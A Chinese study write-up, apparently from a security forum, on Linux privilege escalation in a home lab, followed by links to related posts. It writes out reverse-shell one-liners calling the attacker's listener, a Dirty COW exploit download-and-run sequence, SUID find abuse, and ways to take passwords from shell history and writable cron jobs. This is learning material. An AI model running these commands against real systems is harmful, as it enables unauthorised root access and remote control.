首发于先知社区

https://xz.aliyun.com/t/8139

前言:

上次学习了Windows操作系统的提权以及相关工具的利用,这次就来学习一下Linux操作系统的提权

Linux提权基础

0x00:Linux提权方法

大致归纳总结如下:

不过最核心也是最常见的提取方法还是内核提权,其他大多与程序员的配置有关,出现的几率不是很高。

0x01:Linux提权基础知识

uname -a
查看内核版本
id
显示用户的ID,以及所属群组的ID
pwd
显示当前路径
dpkg -l
rpm -qa
查看已经安装的程序
cat /etc/issue
cat /etc/*-release
查看发行版

密码权限

大部分Linux系统的密码都和/etc/passwd/etc/shadow这两个配置文件有关,passwd里面储存的是用户shadow里面存储的是密码的hash值。出于安全考虑passwd是全用户可读,root可写的,而shadow是仅root可读写的。

/etc/passwd

passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面.

/etc/shadow

shadow里面的就是密码的hash,但只有root权限才可以查看。

密码复用

另外需要注意的是很多管理员会重复使用密码,所以有可能数据库或者web后台的密码就是root密码。

提权常见的流程

  1. wget http://exp/exp.c
下载exp文件
  1. gcc -o exp exp.c
利用gcc进行编译操作,编译成二进制文件
  1. chmod +x exp
将exp更改为可执行权限
  1. ./exp
运行exp进行提权

0x02:Linux反弹shell

Linux一般拿到shell,权限基本都很低,而且在菜刀或其他工具中执行命令没有交互过程(在菜刀等工具中,只是输入返回内容,如在菜刀中执行ssh等命令就不可行),所以需要通过反弹shell拥有一个交互式的shell

准备环境

ubuntu + apache
kail 192.168.186.134
ubuntu 192.168.186.152

上传进去一个php一句话木马,菜刀连接

查看当前权限

下面就使用反弹shell的方法获取到交互式shell

第一种方法:

利用最经典也是最常用的方法进行反弹shell,另外反弹shell时设置的端口最好是常用端口,不常用的端口可能会被防火墙给拦截掉。

先进行本地进行监听:
nc -lvp 53
然后在拿到shell的机器上执行:
bash -i >& /dev/tcp/192.168.186.134/53 0>&1

但是执行失败了,没有权限

第二种方法:

利用python脚本进行反弹shell,要将脚本上传到服务器上就要找一个低权限用户可以上传且可以执行的目录,一般在tmp或者/var/tmp中就有这样的权限

pyshell

使用方法:
本地监听 :nc -l -p 53 -vv
目标机器执行:python back.py 192.168.186.134 53

反弹成功,这样就形成了一个交互式的shell,方便下一步的进行

如果在使用python文件没有权限时,使用如下命令即可,因为该文件是当前用户上传进去的,拥有修改的权限。

chmod 777 back.py

0x03:脏牛提权

Dirty COW,CVE-2016-5195,攻击者可利用该漏洞本地以低权限提升到root权限。Dirty COW 是一个特权升级漏洞,可以在每个Linux发行版中找到。这个漏洞的特别之处在于,防病毒和安全软件无法检测,一旦被利用,根本无从知晓。

漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权
如果内核版本低于列表里的版本,表示还存在脏牛漏洞
Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10         4.8.0-26.28
Ubuntu 16.04         4.4.0-45.66
Ubuntu 14.04         3.13.0-100.147
Debian 8                3.16.36-1+deb8u2
Debian 7                3.2.82-1

exp地址

在反弹shell成功的基础上继续来做

先来看一下操作系统的版本,低于列表里的版本即存在脏牛漏洞

uname -r

通过/etc/passwd了解到超级管理员是root

查看下当前用户的id

下载exp文件

wget https://github.com/FireFart/dirtycow/blob/master/dirty.c

可以看exp中的说明来执行命令

先通过gcc来编译dirty.c文件

gcc -pthread dirty.c -o dirty -lcrypt


编译好的dirty文件,替换root用户

./dirty

成功替换掉了原来的root用户,提权成功。

脏牛提权除下这个exp,还有其他的,例如:CVE-2016-5195,具体就不在演示了,按照说明即可,注意文件名不对,自己改下就好。

Linux提权实战

0x00:Linux分析工具

Linux-exploit-suggester

Linux权限提升审核工具,是基于操作系统的内核版本号。程序会执行“uname -r”命令来获取Linux操作系统发行版本,之后返回一个包含了适用exploits的提示列表。

Linux-exploit-suggester

./linux-exploit-suggester.sh

执行命令即可

这样就将存在的漏洞呈现了出来,利用exp提权即可,非常方便.

Searchsploit

Searchsploit通过本地的exploit-db, 查找软件漏洞信息

使用方法:

searchsploit


如需查看CentOS 7 内核版本为3.10的内核漏洞

searchsploit centos 7 kernel 3.10


知道该内核版本下存在哪些漏洞即可进行提权操作

0x02:SUID提权

什么是SUID

在Linux中,存在suid、guid、sticky,SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。

如果想要为文件附上这样的权限命令:

chmod u+s
chmod 4755

(有s标志位便是拥有SUID权限)

具体的话大致理解就是通过拥有SUID权限二进制文件或程序可以执行命令等,从而进行root提权操作

查找符合条件的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;


上面的所有二进制文件都可以在root权限下运行,因为属主是root,且权限中含有s

下面就以find命令来实践一下,首先要给find设当SUID权限

chmod u+s /usr/bin/find


如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

当前用户为

随便找一个文件主要是为了执行后面的命令

/usr/bin/find pass.txt -exec whoami \;


提权成功,接下来以root用户的身份反弹shell

/usr/bin/find pass.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.150",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;


如果出现如下错误,关闭两边的防火墙即可

反弹shell成功,当然还有其他命令可以进行提权,前提是要有SUID权限,这里就不再举例了。

0x03:历史记录提权

通过查看历史记录,查看是否有有用的信息,有的管理员为了方便登陆mysql或其他软件时,不经意间加上参数-p,从而将密码暴露出来或者一些.sh脚本连接mysql、vpn等,查看对应的配置文件即可拿到账号密码

cat ~/.bash_history
保存了当前用户使用过的历史命令


如果拿到数据库的账号密码,有可能就是root密码

0x04:计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

ls -l /etc/cron*


默认这些程序是以root权限执行,如果有任意用户可写的脚本,我们就可以修改脚本等回连rootshell了。

0x05:配置错误引发提权

手动找如果对Linux系统不熟悉的话基本是找不到的,所以可以利用工具去查找
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py

检查了非常多的配置问题,而且还列出了所有的可写文件,如果找到有配置问题的便可以进行提权操作。

总结

经过这次学习,简单的算是对Linux提权有了一定的了解,但还有很多姿势需要去学习,还是需要不断去积累。

参考博客

https://www.cnblogs.com/BOHB-yunying/articles/11517748.html
https://www.cnblogs.com/hookjoy/p/6612595.html

提权学习之旅——Linux操作系统提权相关推荐

  1. 提权学习之旅——利用Metasploit提权

    Metasploit基础 0x00:简介 Metasploit是一个漏洞利用框架,简称msf.是一个免费的.可下载的框架,通过它可以很容易地获取.开发并对计算机软件漏洞实施攻击,,而且本身附带数百个已 ...

  2. 提权学习之旅——基础篇

    首发于先知社区 https://xz.aliyun.com/t/8054 前言: 无论是CTF赛题还是渗透测试,有很多时候拿到WebShell的权限并不高,没有办法继续深入,所以需要进行提权操作,方便 ...

  3. linux中文入门,Ylmf OS 4.0 - 最适合国人使用和入门学习的中文Linux操作系统 (免费开源)...

    系统工具 - Linux // 2009-12-28 ] 雨林木风修改的 Windows XP 在国内可以说是相当的著名了!但由于版权问题,最终它们"解散"了.而一年后的今天,在 ...

  4. Linux学习路线全解,Linux操作系统学习路线

    大家都知道,在现在这个信息化飞速发展的时代,IT技术火速发展,信息的重要性,可想而知.现在,在北京当一个高级运维工程师,年薪百万已经不是梦想.当然我也想,谁不想挣大钱,开好车,住好房.下面说说自己的一 ...

  5. 为什么学Linux操作系统?

    文章目录 Linux的介绍 Linux的发展 Linux的发展现状与趋势 Linux学习方法 分为四大块 Linux可以干嘛 再来回答为什么学习Linux 主要三大块 学习Linux主要是学习什么? ...

  6. 20201231WEB渗透学习之Linux内核提权

    欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注 我们都知道,如果已经获取了目标服务器(网站)的后门shell,那么我们接下啦要做的事情是什么? ...

  7. CVE-2022-0847 Linux内核提权漏洞分析

    文章目录 前言 漏洞复现 1.1 文件覆写poc/exp 1.2 覆写/etc/passwd 漏洞分析 2.1 Linux管道机制 2.2 splice系统调用 2.3 漏洞利用流程 总结 前言 20 ...

  8. 【内网—权限提升】——linux本地提权_脏牛漏洞提权

    文章目录 一.实验目的: 二.工具: 三.实验环境: 四.漏洞说明: 1. 原理: 2. 漏洞成因: 五.环境准备: 1. 安装Apache及php环境: 2. 安装gcc编译器(C语言编译器): 2 ...

  9. PWN2OWN 2017 Linux 内核提权漏洞分析

    0.前言 在2017年PWN2OWN大赛中,长亭安全研究实验室(Chaitin Security Research Lab)成功演示了Ubuntu 16.10 Desktop的本地提权.本次攻击主要利 ...

最新文章

  1. 傅盛:AI是企业弯道超车的机会,大家在同一起跑线上
  2. 5月10日优酷殴打腾讯员工那些事
  3. python signal模块的使用(自定义超时异常)
  4. 20、磁贴和磁贴通知(tile)(上)
  5. c语言程序设计教案 文库,C语言程序设计教案.doc
  6. ASP.NET Core 2.2 项目升级至 3.0 备忘录
  7. elementUI多选框组件:多选数组,取值问题
  8. mysql on后加and_mysql加入ON和AND to laravel eloquent
  9. 摄像头安装说明_老司机告诉你马路上不同摄像头有不同作用,注意区分小心扣分...
  10. linux远程控制本地用户登录,linux 本地无法登录 远程可以登陆的解决办法
  11. 【手写数字识别】基于matlab RBF手写数字识别【含Matlab源码 471期】
  12. Hyper-V使用手记(一):无法引导安装FreeBSD7
  13. 按键精灵打怪学习-多线程后台坐标识别
  14. 为什么有些网站域名不以www开头?什么是二级域名?
  15. 555555555555555555555
  16. HTML5游子吟网页的完整代码,《游子吟》教学设计(5页)-原创力文档
  17. s型人口增长曲线matlab程序,matlab人口预测及数据曲线拟合.ppt
  18. 2020,我不想奋斗了
  19. [当人工智能遇上安全] 5.基于机器学习算法的主机恶意代码识别研究
  20. 软考:净现值NPV、回收期、收益率计算方法

热门文章

  1. 四、Go语言复合数据类型(上)
  2. 数字信号与数字电路 数制与码制
  3. 直播预告 | AAAI 2022论文解读:基于对比学习的预训练语言模型剪枝压缩
  4. ACL 2021 | 为什么机器阅读理解模型会学习走捷径?
  5. ICCV 2021|面向城市场景理解的大规模3D点云挑战赛
  6. ​超越Transformer!AAAI 2021最佳论文:高效长序列预测模型
  7. BERT可以上几年级了?Seq2Seq“硬刚”小学数学应用题
  8. ACL 2020 | 多跳问答的基于对齐的无监督迭代解释检索方法
  9. 联合检测和跟踪的MOT算法解析(含MOT17 No.1等多个榜前算法)
  10. 西安电子科技大学第16届程序设计竞赛 C题